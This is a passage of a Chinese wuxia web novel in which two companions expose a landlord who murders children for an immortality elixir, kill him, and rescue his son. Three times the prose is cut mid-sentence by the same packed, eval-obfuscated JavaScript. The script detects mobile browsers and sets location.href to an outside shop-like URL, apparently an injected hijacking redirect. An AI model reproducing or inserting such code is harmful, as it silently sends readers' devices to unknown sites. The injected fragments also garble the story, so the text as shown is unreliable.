月光下,两道身影正不紧不慢地朝她所在的方向走来。走在前面的,是个撑着朱红油纸伞、穿着繁复绯红长袍的俊美男子,嘴角噙着一抹玩味的笑。稍后半步,是个提着亮银长枪、一身红衣劲装、脸色似乎还带着点未消红晕和懊恼的明艳少女。 江晚怜瞬间警觉,心脏狂跳——这两人是谁?绝不是村民!看打扮和气场,分明是江湖人!是无忏在庙里遇到的?还是…… 她下意识想躲,但对方显然已经看到了她。 撑着红伞的男子在离她几步远的地方停下,目光在她脸上身上饶有兴味地打量了一圈,尤其是她那双充斥着恐慌的眼睛。 “哦呀?”他轻轻开口,声音带着一种慵懒的磁性,“这位姑娘,莫非就是……江家的义女,江晚怜?” 42. 等待进入网审 槐树下重归寂静,唯有夜风拂过枯草的沙沙声,以及远处村落零星的犬吠。那对红衣师徒来得诡秘,去得飘忽,若非树干上那枚深入寸许的三棱镖,以及空气中尚未完全散尽的、属于“唤血蝶”的微弱甜腥气,方才那场短暂交锋几乎像是一场幻梦。 无忏收回落在师徒消失方向的视线,异色眸子重新投向那扇虚掩的庙门。长相思的出现打断了探查,也搅动了局面。榜二绝非闲来无事凑热闹之辈,他那句话肯定意有所指。这土地庙里,恐怕不止是装神弄鬼那么简单。 庙后的爬行黑影早已不见,呜咽声也停了。但那股萦绕不散的甜腥气,似乎比之前更清晰了一丝,源头正是庙内。 无忏不再迟疑。身形微动,如一片没有重量的阴影,悄无声息地飘至庙门前。他并未直接推门,指尖在脱漆的木门上极轻地叩击三下,力道均匀,声音沉闷,传入寂静的庙内。 里面毫无反应。 他侧身,手掌贴上木门,内力微吐。一声令人牙酸的轻响,虚掩的门被缓缓推开一道仅容一人侧身通过的缝隙。更浓的腐朽气息混合着那股甜腥扑面而来,其中还夹杂着一丝……铁锈味? 月光被门扉阻挡,庙内一片漆黑,伸手不见五指。无忏脚步踏入,身影瞬间被黑暗吞噬。他并未立刻深入,而是静静立在门内阴影中,适应着绝对的黑暗,同时耳廓微动,捕捉着任何细微声响。 死寂。 并非万籁俱寂的死寂,而是一种仿佛连空气都凝固了的、沉重的安静。香案、神龛、供桌的轮廓在逐渐适应黑暗的眼中慢慢浮现,模糊而扭曲。 地面上灰尘很厚,却有几串新鲜的、凌乱的足迹,大小不一,方向杂乱,通往神龛后方。除此之外,还有一些……拖拽的痕迹,很宽,不像是人行走留下的。 无忏的目光落在神龛后那片更深的阴影上。甜腥与铁锈味正是从那里传来。他迈步,踏着灰尘,走向神龛。脚步声在空旷破败的小庙里被放大,带着回音。 绕过残破的神龛,后面是一堵墙壁,墙根处堆着些破烂的蒲团和腐朽的木板。看似并无异样。但无忏蹲下身,手指拂过地面厚厚的积灰。灰尘之下,隐约有一道极其细微的缝隙,笔直地延伸向墙壁。 他沿着缝隙摸索,在墙壁与地面交接处,触到了一块略高于周围的砖石。指尖微一用力,砖石向内陷下半寸。 “咔哒。” 一声轻微的机括转动声从墙内传来。紧接着,面前看似严丝合缝的墙壁,竟无声地向内滑开一道窄门,仅容一人弯腰通过。一股更加浓郁、带着潮湿霉味和强烈甜腥气的冷风,从门后涌出。 是密道。 无忏眼神微凝,这土地庙果然内有乾坤。他侧身闪入门内,身后墙壁随即悄无声息地合拢,隔绝了最后一丝月光。 门后是一条向下的狭窄石阶,深不见底,黑暗中只有他极其轻微的呼吸声和脚步声。石阶湿滑,长满青苔,空气阴冷潮湿,甜腥气越来越浓,铁锈味也愈发明显。 约莫向下走了二三十阶,前方出现一点微弱的光亮。石阶尽头,连接着一个不大的地窖。地窖一角点着一盏昏黄的油灯,灯焰跳动,将地窖内的一切映照得影影绰绰。 首先映入眼帘的,是地窖中央一个用砖石粗糙垒砌的方形池子,约莫浴桶大小。池内并非清水,而是暗红粘稠、微微晃动的液体,散发出令人作呕的甜腥气——正是他在庙外嗅到气味的源头。池边散落着一些沾满暗红污渍的布条、几个破损的陶罐,以及几件沾满泥污、明显不属于此地的孩童衣物。 池子旁边,靠墙蜷缩着两个人。不,确切说,是一具尸体,和一个奄奄一息的人。 尸体是个穿着粗布短打的精壮汉子,面色青黑,双目圆睁,口鼻处有干涸的黑血,脖子上有两个细小的孔洞,周围皮肤泛着诡异的紫红色,死了至少一天以上。 还活着的是个瘦小的老头,穿着类似庙祝的灰布袍,花白头发散乱,脸色惨白如纸,蜷缩在墙角,浑身不住颤抖,嘴里发出无意识的嗬嗬声,眼神涣散,对无忏的到来毫无反应。他的右手手臂衣袖撕破,露出的皮肤上,也有两个与那尸体脖子上类似的细小孔洞,周围红肿发黑,正向肩膀蔓延。 地窖另一侧,堆着些杂乱的工具,锄头、铁锹,还有几个空麻袋。墙角扔着一双沾满泥巴、尺码不小的旧布鞋,鞋底花纹与庙外墙上的攀爬痕迹隐约吻合。 无忏的目光迅速扫过这一切。血池,毒杀,庙祝,同伙尸身,多件孩童衣物,盗墓工具……线索碎片在脑中快速拼凑——一个不好的想法浮现脑中。 装神弄鬼是为了掩盖盗掘?血池何用?那人中的毒,与老头手臂的伤口同源,是内讧还是灭口?赵家幼子的病,是接触了庙周扩散的毒物?还是……因其符合某种条件,被这庙中邪术的施行者盯上,却因故尚未得手? 他走到那奄奄一息的老头面前,蹲下身。老头浑浊的眼珠动了动,似乎终于察觉到有人,喉咙里发出嗬嗬的声响,充满恐惧。 “谁指使?”无忏开口,声音在地窖中带着冰冷的回音。 老头猛地一颤,涣散的目光竭力聚焦,看着无忏,尤其是他腰间那柄黑剑,眼中恐惧更甚。他张了张嘴,却只吐出几个破碎的音节:“…蝶……红伞……不能……说……” 红伞?蝶? 无忏眼神一凛。长相思?不,长相思方才在外,且姿态像是旁观,老头说的是指使他的人,还是……警告? “赵家幼子,现在……何在?”无忏换了个问题,面色有些严肃。 老头浑身剧震,眼中流露出绝望,猛地抬起未受伤的左手指向血池方向,又仿佛触电般缩回,只是拼命摇头,泪水流下:“不……不知道……他们带走了……药……需要孩子的……” 药?需要孩子的什么? 无忏站起身,不再看这显然已神智昏乱、命不久矣的老头。他走到血池边,指尖蘸了一点池中暗红液体,凑近鼻端。浓烈的甜腥气中,果然混杂着多种药材的味道,还有极淡的、属于某种生物毒素的辛辣。这不是普通的血,是经过调配的、用于某种阴邪仪轨或制药的“媒介”。池边那些孩童衣物大小不一,显然不属于同一个孩子,且陈旧程度不同,暗示受害者可能不止一人,时间也可能跨度较长。 所有的线索组合起来,这一切……似乎指向一个比装神弄鬼、勒索土财主更阴暗复杂的图谋。而长相思师徒的出现,恐怕也与此脱不了干系,至少他们绝对知情什么东西。 此地不宜久留。 当他重新站在土地庙中,透过破窗看向外面沉沉的夜色时,远处村口方向,隐约传来一声女子短促的惊叫。 江晚怜? 无忏眼神骤冷,身形瞬间化为一道虚影,掠出庙门,朝着村口土坡疾驰而去。 ——江晚怜觉得自己今天可能水逆。 先是干等了大半夜喝西北风,然后好不容易有点甜食安慰,还没啃完,就撞上两个画风明显不对的陌生人!一个妖里妖气打红伞的俊美男人,一个杀气还没散尽的红衣枪兵少女!这组合一看就不是善茬好吗! 尤其是那打伞的,眼睛毒得像扫描仪,上来就精准点破她“江家义女”的身份!这可是在这漫画里为数不多藏的秘密!他居然知道!江晚怜后背瞬间被冷汗浸湿。 “你们……是谁?”她声音有点发紧,努力让自己看起来镇定,脚却悄悄往后挪了半步,随时准备跑路——虽然肯定跑不掉。 撑着红伞的长相思仿佛没看见她的小动作,笑容越发和煦,甚至带着点欣赏:“别紧张,江姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17036835|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘。我们并非你的敌人……目前不是。”他伞沿微抬,目光似有若无地扫过她紧握短匕的手,“倒是你,独自在此,是在等……无忏?” 他知道无忏!还知道她在等他!江晚怜心脏狂跳,这信息量太大了!这对组合到底什么来头?和无忏什么关系?敌?友? 旁边的彼岸红撇了撇嘴,似乎对师父这种绕弯子的说话方式很不耐烦,枪尖杵在地上,杏眼上下打量着江晚怜,语气直接:“你就是跟着无忏那个?看起来也不怎么样嘛,细胳膊细腿的。” 江晚怜:“……”大姐,咱们很熟吗?一上来就人身攻击?但她敏锐地捕捉到一丝信息——这红衣少女对无忏的态度,更像是输得不服气,而非仇恨。 “小红,不得无礼。”长相思轻斥一句,却没什么威严,转头对江晚怜笑道,“小徒莽撞,方才与榜首过了几招,吃了点小亏,正闹脾气呢,江姑娘见谅。” 过了几招?吃亏?江晚怜瞬间脑补出无忏单方面碾压的场景,心里那点紧张莫名消散了一点,甚至有点暗爽。让你偷袭!踢到铁板了吧! “没事没事,二位……有何贵干啊?若是找无忏,他……暂时不在此处。”江晚怜的语气里满是怂,真是倒了血霉。 “我们知道。”长相思点头,笑容意味深长,“他去探那土地庙了,对么?” “我不明白你在说什么。”她选择装傻。 长相思也不在意,悠然道:“不明白也无妨。江姑娘只需知道,这赵家的悬赏,土地庙的‘鬼’,甚至……”他顿了顿,目光掠过江晚怜苍白的脸,“牵扯到一些陈年旧事和拐卖稚童的勾当。” 拐卖稚童?!江晚怜心头剧震。 “你们到底知道多少?又想做什么?”她忍不住追问。 “我们知道该知道的。”长相思模棱两可,伞尖轻轻点地,“至于想做什么……或许只是觉得,有些人和有些事,放在眼皮底下看着,比任其藏在暗处发酵,要有趣得多。”他看了一眼土地庙方向,笑容淡了些,“榜首应该快回来了。江姑娘,提醒他一句,‘红伞’所见,未必是敌,但庙下‘血池’所连,恐非善地。小心……‘药童子’。” 说完,他不等江晚怜反应,对彼岸红示意:“小红,走了。” “这就走?”彼岸红似乎还没看够热闹。 “戏看完了,该收场了。”长相思转身,绯红身影在夜色中渐行渐远,声音随风飘来,“江姑娘,替我向榜首带个好。” “我们还会见面的。” 彼岸红又瞪了江晚怜一眼,哼了一声,提着枪跟了上去。两人身影很快没入黑暗,消失不见。 江晚怜站在原地,夜风吹得她浑身发冷。脑子里乱糟糟的,全是“血池”、“药童子”、“拐卖稚童”、“陈年旧事”……还有他那看似提醒实则充满谜语的话。 那个持红伞者……他特意现身,就为了说这些?他到底站在哪一边? 就在这时,一道玄色身影如同鬼魅般掠上土坡,落在她身侧,带来一股微凉的夜风和淡淡的血腥气。 是无忏。 江晚怜猛地转头,看到他完好无损,先是松了口气,随即立刻抓住他衣袖,急声道:“你没事吧?刚才有两个人来过!一个打红伞的男的还有个红衣服拿枪的女生,他们好像知道庙里的事,还说有什么‘血池’、‘药童子’,这到底怎么回事?” 无忏低头,看着她焦急的脸,异色的眸子在月光下沉静如渊,看来他并未惊讶于长相思师徒的出现。 “庙下有密室、血池、尸体、濒死者。”他的声音中带着夜风的寒意,“赵家幼子,恐成为下一个目标。” 拐卖……邪术……血池…… 这白溪村的“麻烦”,远比他们想象的,更加血腥和黑暗。 43. 等待进入网审 夜风刮过土坡,带着深秋的寒意和远处村落飘来的零星灯火气。江晚怜抓着无忏的衣袖,指尖能感觉到布料下坚实的手臂,以及一丝未散的、属于地底密室的阴冷气息。她脑子里还在嗡嗡回响着无忏说的那些词,混合着“红伞男”那句谜语般的警告,搅得她心乱如麻。 “那……那我们怎么办?”她仰头看着无忏,声音里压不住的慌,“赵家孩子有危险,庙里又死了人……是不是得告诉赵家?或者……”说完她自己都觉得不靠谱。报官?他们俩现在可是通缉犯搭档。告诉赵家?赵德富本人就不是好东西,谁知道这“危险”跟他有没有关系? 无忏的目光从她脸上移开,投向山下那片沉睡的村落,尤其是在村子东头那片明显更气派、院墙更高的宅院方向停留了片刻——那是赵宅。 他声音低沉,没什么起伏,却带着一种斩钉截铁的意味:“赵德富悬赏指名,他与此事,理应脱不开干系。” 江晚怜愣了一下,脑子有点转不过来:“脱不开干系?什么意思?你是说……他知道庙里的事?甚至可能……就是他搞的鬼?”这个念头让她后背发凉,但仔细一想,又觉得矛盾重重,“可那是他亲儿子!他再坏,也没必要用自己儿子当诱饵或者……害自己儿子吧?而且他悬赏找你,如果他自己就是凶手,不是引狼入室吗?” 她越想越混乱,感觉线索像一团乱麻。她试图拼凑出一个合理的解释,但每种可能都显得那么阴暗:“你说赵德富是对佃户苛刻,但搞这种邪门歪道、残害孩童……这得是多丧心病狂?” 无忏没有直接回答她的疑问,只是静静看着她努力思考、不断提出假设又自我否定的样子。月光下,她眉头紧锁,脸上交织着困惑、恐惧和一种不愿相信的挣扎。 “猜测无益。”片刻后,他开口,声音依旧平稳,“亲眼所见,方为实据。” 江晚怜被他这句话点醒。就是说啊,在这里瞎猜有什么用?赵德富到底扮演什么角色,只有去查了才知道。 “所以……我们要夜探赵家?”她咽了口唾沫,心里既害怕又有一股被真相牵引的好奇与愤怒——如果赵德富真和“红伞男”说的拐卖稚童有关…… “嗯。”无忏点头,目光重新变得锐利,“查清真相,方能决断。” “你在此等候,或……” “我跟你去!”江晚怜几乎脱口而出。开玩笑,让她一个人再在这黑灯瞎火的土坡上等着?再来个两个刚刚那红衣男女之类的怪人怎么办?而且……她也想亲眼看看,那个赵德富到底在搞什么鬼。 无忏看了她一眼,似乎想说什么,但最终只是点了点头:“跟紧,噤声。” 两人趁着夜色,悄无声息地摸下山坡,避开村中偶尔响起的犬吠和巡更人模糊的梆子声,绕到赵宅后墙。赵家的院墙比寻常农家高了近一倍,墙头还插着防止攀爬的碎瓷片。但这显然难不倒无忏。他观察片刻,选中一处墙外有老树遮掩的角落,身形一纵,轻如狸猫般攀上墙头,指尖在碎瓷片间精准地找到空隙借力,转眼便伏在了墙头阴影里。 他低头,向墙下的江晚怜伸出手。 江晚怜看着那高度,心里有点打怵,但箭在弦上,不得不发。她学着无忏的样子,助跑,起跳,伸手去够——够不着。差了一大截。 墙头上的无忏似乎无声地叹了口气,手臂向下探了探。江晚怜咬牙再跳,这次终于抓住了他的手腕。一股不容置疑的力量传来,她只觉得身子一轻,整个人就被提了上去,稳稳落在墙头,被无忏另一只手及时扶住,才没踩到那些碎瓷片。 整个过程快且无声。江晚怜趴在墙头,心脏砰砰直跳,一半是吓的,一半是……近距离接触大佬的?她赶紧甩掉脑子里不合时宜的杂念,学着无忏的样子,伏低身体,看向院内。 赵宅占地颇广,前后三进,此刻大部分院落都已熄灯,只有第二进东厢房还亮着微弱的灯光,隐约有人影晃动,并传来压抑的咳嗽声和妇人低低的抽泣——那里想必就是赵家幼子的卧房。 无忏的目光却掠过那亮灯的东厢,落在第三进更深处、一座独立的小楼。那小楼黑漆漆的,没有半点光亮,在月光下像一头蛰伏的兽。 “那里,应该有东西。”无忏在她耳边极轻地说了一句,温热的气息拂过耳廓,害得江晚怜缩了缩脖子,点点头。 两人如一片落叶,轻盈地翻入院内,落地无声。无忏在前引路,专挑阴影处行走,身形飘忽,仿佛真是夜色的一部分。江晚怜拼尽全力跟上,尽量放轻脚步,感觉自己像个笨拙的尾随者。 避开两个打着哈欠、拎着灯笼巡夜的家丁,他们顺利来到第三进那座独立小楼前。小楼门扉紧闭,挂着铜锁,但这难不倒无忏——因为他直接把锁砸坏了。 大哥,你就庆幸这巨响没被注意到吧。 推门而入,一股陈旧的墨香和灰尘气味扑面而来。是书房,靠墙是顶天立地的书架,堆满了账册和些旧书;中间一张宽大的紫檀木书桌,文房四宝齐全;墙角还摆着些瓷瓶、盆景做装饰,透着土财主的附庸风雅。 无忏迅速扫视一圈,目光落在书桌后那面看起来平平无奇的墙壁上。他走到墙边,手指沿着砖缝细细摸索,片刻后,在某块砖石上轻轻一按。 轻微的机括声响起,墙壁竟向内旋转,露出一道仅容一人通过的暗门,门内漆黑,有阶梯向下。 是密室!江晚怜瞪大了眼。这赵德富到底有多少秘密? 无忏示意她在门外等候,自己闪身进入。江晚怜紧张地守在门口,耳朵竖得尖尖的,听着里面的动静。约莫过了一盏茶时间,无忏的身影重新出现,手中多了几样东西。 一本边缘磨损的账册,不是田租商铺的普通账,里面用密语记载着一些时间、地点、银钱数目和简短的代号,其中几个代号旁,画着小小的、粗糙的蝶形图案。 一个小巧的玉盒,打开后,里面是几颗暗红色、散发着与土地庙血池相似甜腥气的药丸。 几封泛黄的信笺,字迹潦草,内容隐晦,但反复提及“药材”、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17038782|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “童子”、“庚寅年亥时生”、“庙中血引”等字眼,落款处只有一个模糊的印记,看不清具体。而在这其中,有一封明确记载了赵德富的所作所为原因。 所有的线索,如同散落的珠子,被这根名为“赵德富”的线,串在了一起。 悬赏,原来是为了引来“不问缘由、手段果决”的杀手,而无忏便是最好的代表,而关于无忏的传闻江湖上也有不少……譬如说,赵德富所提“瞳中映血及翠者”就是其中。赵德富委托他处理掉土地庙里可能暴露的秘密,其子抱恙,或许是真,但病因可能并非简单的惊吓,而是接触了赵德富自己搞出来的“血引”邪物,或者根本就是邪术反噬? 而他所做这些,仅为了一个无法实现的愿望:长生不老。 可笑至极。 “这些……都是赵德富的?”她声音发颤。 无忏点头,拿起那本账册,指出其中一处:“此处记‘药材耗损’,旁注‘童三’。” “‘童三’……是第三个孩子?”江晚怜胃里一阵翻腾,“所以庙里那些孩童衣物,真的是……赵德富他……用孩子炼药?”她想起赵家幼子诡异的病症…赵德富为了这种目的,利用土地庙的隐秘,残害孩童获取“材料”,连自己生辰八字符合条件的亲生儿子都不放过!那孩子的病,是试药?是反噬?还是下一步的“取材”准备? 那老头说的‘红伞’、‘蝶’……无忏想起长相思那柄诡异的伞和萦绕的蝶影:果然是长相思,他知道此人所为,这倒符合长相思那副游戏人间的做派。 无忏将证据仔细收好,眼神冰冷。“赵德富,其罪当诛。” 就在这时,书房外远处,忽然传来一阵喧哗! “走水啦!后院柴房走水啦!” 火光隐隐映亮窗纸,人声、脚步声杂乱响起。 无忏眼神一凛,迅速将暗门恢复原状:“先离开。” 两人趁乱潜出赵宅。翻出后墙,回头望去,赵宅后院火光闪烁,人影幢幢。 “是巧合?还是……”江晚怜喘着气。 “不知。”无忏望向火光,侧脸冷峻,“但时机太巧。” 远离村庄,站在荒野中,江晚怜才觉得能喘过气。夜风冷却了她发热的脸颊,但心头的惊骇和愤怒却难以平息。 赵德富是凶手。 土地庙下的惨剧是他主导。 那些孩童衣物背后,是一条条鲜活的小生命。 而他们,接了这恶魔的悬赏,差点成了他清除障碍的刀,如果换个人来,后果不堪设想。 “这混蛋…完全不是人!”江晚怜低声骂了一句,不知是骂赵德富,还是骂这操蛋的世道,或者两者都有。 无忏站在她身侧,望着赵宅方向隐约未熄的火光,侧脸线条在月光下如刀削般冷硬。 他忽然开口,声音斩断夜色:“天亮再去。” 江晚怜转头看他。 “救人,”无忏的目光转回来,落在她脸上,清晰地说出后续,“除恶。” 44. 等待进入网审 天色将明未明,是一夜中最黑暗寂静的时刻。赵宅后院的火早已被扑灭,只余焦糊味混在晨雾里,几缕残烟有气无力地飘着。宅院内异常安静,连巡夜人的脚步声都听不见了,仿佛昨夜那场混乱耗尽了所有人气力,又或是某种更深的恐惧扼住了这座宅院的喉咙。 无忏与江晚怜再次翻墙而入,比昨夜更加轻车熟路。院内弥漫着一股不同寻常的死寂,连东厢房那盏终夜未熄的灯,此刻也灭了。无忏眉心微蹙,打了个手势,两人分头行动——他直奔第三进书房所在小楼,江晚怜则按照约定,潜向东厢房救人。 东厢房内。 江晚怜猫着腰,借着廊柱和花木的阴影,一点点挪到东厢房窗外。窗纸破了个小洞,她凑上去,屏息看去。 屋内光线昏暗,只能勉强看清轮廓,床榻上一个小小的身影蜷缩着,盖着厚被,一动不动,呼吸微弱得几乎听不见。屋内并无赵德富或其他成年人的身影。 她轻轻推了推窗户,竟没闩。小心翼翼地拉开一条缝,侧身挤了进去,动作特轻。 屋内药味浓重,混合着一丝若有若无的、与土地庙血池相似的甜腥气。江晚怜强忍不适,快步走到床前。那是个脸色惨白泛青,眼窝深陷,嘴唇干裂起皮的七岁男孩,即使在昏睡中也眉头紧锁,不时痛苦地抽搐一下。露在被子外的手腕细瘦得可怜,皮肤下青筋隐约,靠近内侧有一小块不明显的暗红色斑点,像是……针孔? 果然是用药了!江晚怜心里一揪,怒火直冲头顶,这赵德富简直畜生不如! 她检查了一下孩子的情况,呼吸虽弱但还算平稳,体温高得烫手。必须立刻带他离开这里,找大夫。 她试着轻轻抱起孩子,男孩轻得吓人,像一片枯叶,江晚怜不敢耽搁,从屋子里找了件厚披风将孩子裹好,抱在怀里,转身就往外走。就在这时,她眼角余光瞥见床头小几上倒扣着一个空碗,碗底残留着少许暗红色、粘稠的液体,气味刺鼻。 是那种药丸化开的?还是……更糟的东西? 她打了个寒颤,不敢细想,抱紧孩子,迅速从窗口原路退出,按照计划朝宅院后墙预定的汇合点潜去。怀里的孩子明明轻飘飘的,却像一块沉甸甸的石头,压在她的手臂上,更压在她的心上。 另一边。 书房的门虚掩着,昨夜被破坏的锁还挂在那里。无忏推门而入,鼻尖立刻捕捉到一股新鲜浓烈的血腥味,盖过了原本的墨香灰尘。 他眼神骤冷,身形一闪已至暗门前。暗门并未完全闭合,留着一道缝隙,浓重的血腥味正是从里面涌出。他没有丝毫犹豫,短匕滑入掌心,侧身进入。 密室内,景象比昨夜更加骇人。 油灯还亮着,昏黄的光映照着满地狼藉和喷溅状的血迹。赵德富背对着入口,跪在血泊中央,身上那件绸缎员外袍染满深红,早已看不出原本颜色。他手里握着一柄沾血的匕首,面前躺着两具女尸——正是他的妻子和妾室。两人的脖颈被利落地割开,鲜血汩汩流出,汇入地上一个临时用铜盆架起的容器中,那容器里已接了小半盆暗红的血液,血腥气扑鼻。 赵德富对身后的动静恍若未闻,口中念念有词,声音嘶哑狂热:“……亥时之血为引,至亲之脉为桥……还差一点,就差一点……仙丹可成,长生在望……”他猛地举起匕首,竟是要向自己的手腕割去,似乎想将自己的血也汇入那盆中! 已然彻底疯魔。 无忏目光扫过密室。昨夜见过的账册、玉盒、信笺散落一地,有些被血浸透。墙上多了些用血画出的诡异符号,歪歪扭扭,透着一股邪气。赵德富双眼赤红,面色癫狂,气息紊乱粗重,显然已心智全失,被那邪门的长生执念和药物彻底吞噬。 “喂。”无忏开口,声音不大,却像冰锥刺入这疯狂的血色空间。 赵德富动作猛地顿住,缓缓转过头。看到无忏,他赤红的眼睛里先是茫然,随即爆发出骇人的亮光,像是看到了最后的希望,又像是看到了索命的阎罗。 “是你……你是榜首!我就知道你来了!”他丢开匕首,踉跄着想起身,却因失血而腿软,扑倒在血泊里,又挣扎着爬起,脸上混杂着狂喜与扭曲的祈求,“你来得正好!快!帮我!还差最后一步!用你的剑,取我心头热血三滴,混入这至亲血引之中!待我服下仙丹,得证长生,定将全部家产奉上!全都给你!” 他已神志不清,将无忏当成了完成邪术的最后助力,或许在他扭曲的认知里,无忏这种“不问缘由、手段果决”的杀手,正是执行这种血腥仪式的“最佳人选”。 无忏看着他癫狂的模样,眼中最后一丝波澜也归于冰冷的沉寂。他缓步上前,靴底踏在粘稠的血泊中,发出轻微的声响。 “悬赏百两,清土地庙异状,保家宅安宁。”无忏声音平静地陈述契约内容,“异状已清,庙中装神弄鬼者、知情人皆已伏诛或垂死。家宅不宁之源,正在眼前。” 赵德富愣住,似乎没听懂,又似乎听懂了但拒绝接受,只是疯狂摇头:“不!不是!异状是那些贱民无知!是土地公索命!我要你帮我……帮我成仙!” 无忏不再废话。他手腕骤然一振,背后黑剑出鞘,一道深沉如夜的乌影划破昏暗,挟着尖锐的破空声,快得超越视线捕捉。剑尖并非直刺赵德富要害,而是精准无比地一挑一割——赵德富腰间那鼓囊囊的锦囊系绳应声而断,锦囊飞起,被无忏左手凌空抄住,沉甸甸的,正是那百两银票酬金袋。 几乎在锦囊入手的同时,无忏身随剑走,黑剑在半空中划过一道冷酷的弧线,剑势由挑转刺,疾若闪电,直指赵德富心口!这一剑,毫无花哨,只为夺命。 赵德富狂乱的表情瞬间凝固,赤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17038783|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红的眼睛瞪得几乎裂开。他下意识地想躲,但那黑剑太快,太冷,仿佛锁定了他的魂魄。剑锋及体的刹那,无忏手腕微不可察地一颤,一股阴寒凌厉的内劲透过剑尖,狠狠撞入赵德富心脉。 “嗬——!”赵德富喉咙里爆出一声短促怪异的抽气声,浑身猛地一僵,随即剧烈颤抖起来,皮肤下仿佛有无数小蛇在疯狂窜动、冲突。黑剑抽出,带出一溜乌黑的血珠。心口的创伤并非立刻致命,但那股阴寒内劲引发的反噬,却让赵德富毕生追求“长生”而积攒的毒害与狂乱,在瞬间倒灌回自身五脏六腑、四肢百骸。 这是最彻底的以其人之道还治其人之身——用他赖以追求长生的邪药之力,终结他自己的性命。 “你……长生……我的……”赵德富艰难地吐出几个破碎的音节,眼神涣散,癫狂未退,但生命已如风中残烛急速熄灭。他伸手指向那盆血引,手指颤抖着,最终无力垂下。 “地府里,慢慢求吧。”无忏冷冷吐出最后一句,手腕再翻,黑剑顺势一挥,旁边那盛满污血的铜盆应声被剑身拍飞,哐当一声巨响,污血泼洒一地,浸透了散落的邪法笔记和账册。他反手还剑入鞘,动作流畅漠然。 任务完成、酬金到手、祸首伏诛。 他走出密室,不再回头。身后,赵德富的抽搐渐渐停止,赤红的眼睛死死瞪着昏暗的屋顶,最终失去所有神采,凝固在无尽的疯狂与绝望之中。 ——赵宅角落。 江晚怜抱着孩子,缩在后墙根一处茂密的灌木丛后,紧张得手心全是汗。孩子在她怀里不安地动了动,发出微弱痛苦的呻吟,她不停地低声安慰:“不怕,不怕,马上就好了,姐姐带你离开这里……” 终于,一道玄色身影无声落下,是无忏。 “孩子还发着高烧,手腕还有针孔,得赶紧找大夫。”江晚怜急声道:“赵德富呢?” 无忏将那个染血的锦囊从怀里拿出来给江晚怜看了眼后,简短道:“妻妾皆亡于其手,走火入魔,自取灭亡。” 江晚怜虽然早知道赵德富该死,但听到这样惨烈的结局,尤其是那两个无辜女子的死,还是让她胸口发闷。她看了一眼怀中病弱的孩子,这孩子一夜之间,生母被杀,父亲是凶手且伏诛……未来该如何? “先离开此地。”无忏看了一眼天色,东方已泛起鱼肚白,“安顿好他,再作打算。” 两人不再耽搁,趁着黎明前最后的昏暗,他们迅速离开赵宅范围。 晨光熹微,驱散着黑夜的阴霾,也照亮了江晚怜手中那个沾着血迹、却承载着他们南下盘缠的锦囊,以及前方亟待救治的弱小生命。 白溪村的“麻烦”,以最血腥的方式了结。百两酬金到手,恶徒伏诛,孩童获救。但江晚怜心里清楚,这件事留下的阴影和那个孩子未来的命运,远非银钱可以衡量。 45. 等待进入网审 晨光彻底撕开夜幕时,他们终于看见了白溪村另一头那面褪色的医馆幌子。 无忏抱着孩子走在前面,江晚怜紧随其后。怀里的男孩轻得让人心惊,呼吸微弱得像随时会断的蛛丝。这一路她不时伸手去探孩子的鼻息,指尖感受到那点微弱的温热才能稍安。 医馆门虚掩着,里面隐约传来咳嗽声和药杵捣击的闷响。无忏用肩膀顶开门,药草混杂着霉尘的气味扑面而来。 柜台后坐着个须发花白的老者,正眯着眼挑拣药材。听见动静抬头,看见无忏怀里抱着的孩子和两人一身风尘,愣了一下,赶紧起身:“快,里间榻上放下。” 孩子被平放在诊榻上,老者撩开裹着的披风,手指搭上细瘦的手腕。片刻后,他眉头越皱越紧,又翻看孩子眼皮,检查手腕上的针孔和皮肤上那些不明显的暗红斑疹。 “这……”老者收回手,面色凝重,“中毒已深,且非一日之功。高热惊厥,气血两亏,脉象虚浮紊乱……老朽恐怕……” 江晚怜心一沉:“大夫,您想想办法!多少钱我们都——” “不是钱的问题。”老者摇头叹气,浑浊的眼里透着无能为力,“此毒阴损,似掺杂了多种罕见药材,甚至可能有……金石之质。老夫行医四十载,也只见过两次类似脉象,那两次……”他没说下去,但意思已明。 无忏一直沉默着,此刻开口:“能暂时稳住?” 老者犹豫着:“或可用银针封穴,辅以清心解毒的方子先退高热,但毒根已入脏腑,若要根治……”他苦笑,“至少得知道所用何毒,方能对症。可这孩子身上的毒,老朽实在辨不出全部成分。” 江晚怜看着榻上孩子苍白的小脸,胸口堵得慌。穿越前她只是个高三学生,背过化学方程式,做过生物实验,可那些知识在这诡异的古代毒术面前毫无用处,她荒唐地想:要是有个化验室就好了,至少能分析成分…… 